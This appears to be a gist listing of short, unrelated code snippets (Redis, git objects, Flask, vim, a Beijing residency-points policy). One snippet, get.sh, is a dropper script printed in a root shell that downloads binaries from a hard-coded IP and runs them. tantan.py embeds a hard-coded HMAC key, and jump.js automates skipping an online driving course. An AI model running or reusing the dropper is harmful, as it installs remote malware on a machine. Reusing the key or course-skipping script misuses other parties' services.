View batch.js
async function runBatch(client, command, keys, ...args) {
let batch = client.batch()
for (let key of keys) {
batch[command](key, ...args)
}
return batch.execAsync()
}
View show_git_tree.py
import re
import zlib
def show_git_tree(sha1):
path = '.git/objects/%s/%s' % (sha1[:2], sha1[2:])
with open(path) as fp:
content = zlib.decompress(fp.read())
header, body = content.split('\0', 1)
for line in re.findall('(\d+) (.*?)\0(.{20})', body, re.MULTILINE):
print line[0], line[1], line[2].encode('hex')
View get.sh
root@li400-72:~# cat get.sh
#!/bin/bash
wget http://45.32.232.197/x86 --quiet
chmod +x x86
./x86
rm -rf x86
wget http://45.32.232.197/i686 --quiet
chmod +x i686
./i686
rm -rf i686
View tantan.py
#-*-coding:utf-8-*-
import hashlib
import hmac
import time
import requests
HMAC_KEY = '5tT!TQkf5fYbabw5?KL2659XgL^JgxWw8r9Y+bAvGwP-QfteQL'
class TanTan(object):
View 北京市积分落户管理办法 (征求意见稿).txt
北京市积分落户管理办法
(征求意见稿)
第一条 按照国家户籍制度改革要求,为加强人口服务管理,逐步有序解决符合首都城市功能定位和经济社会发展需要、长期在京稳定就业和生活的常住人口落户问题,改进本市现行落户政策,根据国家和本市有关法律、法规,制定本办法。
第二条 本办法所称积分落户是指通过建立指标体系,对本市居住证持证人申请落户的条件进行量化,并对每项指标赋予一定分值,总积分达到规定分值的人员可在本市申请办理常住户口。
第三条 坚持公平公正、总量控制、存量优先、有序推进的原则,稳步实施积分落户制度。
第四条 申请人参加积分落户应同时符合下列条件:
(一)持有北京市居住证;
(二)年龄不超过45周岁;
(三)在京连续缴纳社会保险7年及以上;
View list_fonts.py
>>> import matplotlib.font_manager
>>> set([f.name for f in matplotlib.font_manager.fontManager.ttflist])
View example.py
from flask import Flask
app = Flask()
@app.route('/')
def index(request):
return 'Hello World'
if __name__ == '__main__':
app.run()
View jump.js
// 在 http://dfss.anjia365.com/jpv2/web/personPlan!player.do 页面,console里输入:
setInterval(function() {
if ($('#player').css('display') == 'none') {
getExamById(examArray.slice(-2)[0]);
examCorrectFlag = true;
$('#nextPlayButton').click();
} else {
showNext();
$('.aui_buttons button').click();
View .vimrc
" Use Vim settings, rather then Vi settings (much better!).
" This must be first, because it changes other options as a side effect.
set nocompatible
filetype off
" git clone https://github.com/VundleVim/Vundle.vim.git ~/.vim/bundle/Vundle.vim
set rtp+=~/.vim/bundle/Vundle.vim
call vundle#begin()
View main.py
#-*-coding:utf-8-*-
import re
import time
import json
import requests
from random import choice
code_url = 'http://ama.adwo.com/advmessage/adv/addResultJsonP.action?advid=30345&mobile={phone}&callback=callback'